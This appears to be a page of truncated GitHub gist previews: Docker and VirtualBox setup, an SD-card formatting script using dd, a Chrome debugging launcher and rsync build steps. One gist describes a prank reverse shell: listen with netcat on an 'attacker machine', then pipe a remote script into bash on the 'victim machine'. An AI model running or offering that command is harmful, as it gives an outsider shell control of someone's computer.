- Zero Downtime
- Graceful shutdowns
- Via Github Actions
- Zero infrastructure management overhead
The general idea is to have Github Actions test, build and deploy a Rails app to Google Cloud Compute Engine.
| if _, err := os.Stat("/path/to/whatever"); os.IsNotExist(err) { | |
| // path/to/whatever does not exist | |
| } | |
| if _, err := os.Stat("/path/to/whatever"); !os.IsNotExist(err) { | |
| // path/to/whatever exists | |
| } |
| # using VirtualBox version $VBOX_VERSION | |
| FROM boot2docker/boot2docker | |
| RUN apt-get install p7zip-full | |
| RUN mkdir -p /vboxguest && \ | |
| cd /vboxguest && \ | |
| curl -L -o vboxguest.iso http://download.virtualbox.org/virtualbox/$VBOX_VERSION/VBoxGuestAdditions_$VBOX_VERSION.iso && \ | |
| 7z x vboxguest.iso -ir'!VBoxLinuxAdditions.run' && \ | |
| sh VBoxLinuxAdditions.run --noexec --target . && \ |
| { | |
| "hello": "world" | |
| } | |
| #!/bin/bash | |
| # Quelle: http://omappedia.org/wiki/Minimal-FS_SD_Configuration, 06.06.2012 | |
| if [ ! "$1" = "/dev/sda" ] ; then | |
| unset LANG | |
| DRIVE=$1 | |
| if [ -b "$DRIVE" ] ; then | |
| dd if=/dev/zero of=$DRIVE bs=1024 count=1024 | |
| SIZE=`fdisk -l $DRIVE | grep Disk | awk '{print $5}'` | |
| echo DISK SIZE - $SIZE bytes | |
| CYLINDERS=`echo $SIZE/255/63/512 | bc` |
| #!/usr/bin/env sh | |
| open "tel://$*" |
| # http://peter.sh/experiments/chromium-command-line-switches/ | |
| mkdir -p /tmp/t1 | |
| open -na "Google Chrome" --args --user-data-dir=/tmp/t1 --remote-debugging-port=9222 | |
| # protip: press cmd+h to hide window |
| #!/usr/bin/env bash | |
| # run `nc -nvl 80` on attacker machine first | |
| # run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine | |
| # great commands to run: | |
| # * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg | |
| # open /tmp/monkey.jpg | |
| # * say hello | |
| # * open http://lmgtfy.com/?q=how+to+lock+mac | |
| # * ls |
| #!/usr/bin/env ruby | |
| # Usage | |
| # $ docker-machine create my-machine123 -d virtualbox | |
| # $ ruby <(curl -L https://git.io/vvvco) my-machine123 | |
| # https://gist.github.com/mattes/4d7f435d759ca2581347 | |
| require 'erb' | |
| bootlocalsh = %Q(#/bin/bash |
Do in Terminal (requires XCode with Command line tools installed):
curl -O http://rsync.samba.org/ftp/rsync/src/rsync-3.0.8.tar.gz
tar -xzvf rsync-3.0.8.tar.gz
rm rsync-3.0.8.tar.gz
curl -O http://rsync.samba.org/ftp/rsync/src/rsync-patches-3.0.8.tar.gz
tar -xzvf rsync-patches-3.0.8.tar.gz
rm rsync-patches-3.0.8.tar.gz
cd rsync-3.0.8
patch -p1